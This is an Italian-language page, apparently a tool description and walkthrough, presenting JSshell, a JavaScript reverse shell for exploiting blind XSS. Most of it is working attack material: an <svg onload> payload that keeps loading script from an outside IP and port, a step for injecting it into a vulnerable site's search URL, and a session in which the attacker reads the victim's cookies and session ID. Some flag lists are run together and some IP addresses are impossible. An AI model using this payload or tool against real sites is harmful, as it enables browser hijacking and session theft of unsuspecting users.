
JSshell - shell inversa/remota JavaScript

JSshell - una reverse shell JavaScript. Viene utilizzato per eseguire codice JS in remoto, sfruttare XSS cieco, ...
Requisiti: Qualsiasi sistema operativo + Python 2 o Python 3
Aggiornato nella nuova versione di JShell 3.1:
snippet -> permette di scrivere uno snippet di codice javascript>>> snippet
Use CTRL+D to finish the snippet
function new() {
new = 'New update: Support javascript snippet =)';
confirm(new)
}
new()
>>>
<body>-g-p-s-w-cjsh.pyjsh.py -gjsh.py -p 1234jsh.py -s 48.586.1.23 -gjsh.py -c "alert(document.cookie)" -w 10Questo è un esempio passo passo di come utilizzare JSshell.
Per prima cosa, dobbiamo generare un payload reverse JS shell e impostare il timeout della shell (es. 20 secondi):
~# whoami
root
~# ls
README.md jsh.py
~# python3 jsh.py -g -w 20
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Ora incolla questo payload nel sito web:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
Accedi alla pagina e avremo la reverse JS shell:
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$
Eseguiamo alcuni comandi:
$ var test = 'controlled'
$ confirm(test)
$
E verrà visualizzato un alert: controlled
$ prompt(document.cookie)
$
E il browser mostrerà i cookie dell'utente: JSESSION=3bda8...
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#
Ora usciti!
Creato da shelld3v!